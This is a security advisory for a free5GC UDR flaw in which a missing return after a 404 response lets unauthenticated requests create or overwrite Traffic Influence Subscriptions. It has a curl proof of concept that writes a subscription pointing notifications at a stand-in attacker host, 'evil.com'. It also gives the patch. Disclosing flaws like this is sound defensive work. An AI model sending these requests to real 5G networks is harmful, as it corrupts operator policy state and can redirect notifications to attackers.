### Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.

### Details
The endpoint `PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut`in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`checks whether `influenceId != "subs-to-notify"`.
2. If the value is different, it calls `c.String(http.StatusNotFound, "404 page not found")`, **but it does not return afterwards**.
3. Execution continues, the request body is still parsed, and the handler calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub)`.
4. The processor creates or updates the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully create or modify the target subscription in the UDR.

The missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.

### PoC
No authentication is required. The attacker can choose an arbitrary `subscriptionId`.

```bash
curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
-H "Content-Type: application/json" \
-d '{
"notificationUri":"http://evil.com",
"dnns":["internet"],
"supis":["imsi-999999999999999"]
}'
```

Response:
```
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
```
Now verify that the object was actually written:

```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"
```
Response:
```json
{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
```
### Impact
This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.

This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.

The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

### Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,
function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:

```go
if influenceId != "subs-to-notify" {
c.String(http.StatusNotFound, "404 page not found")
return
}
```
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.

CWE-285 Improper Authorization

CWE-636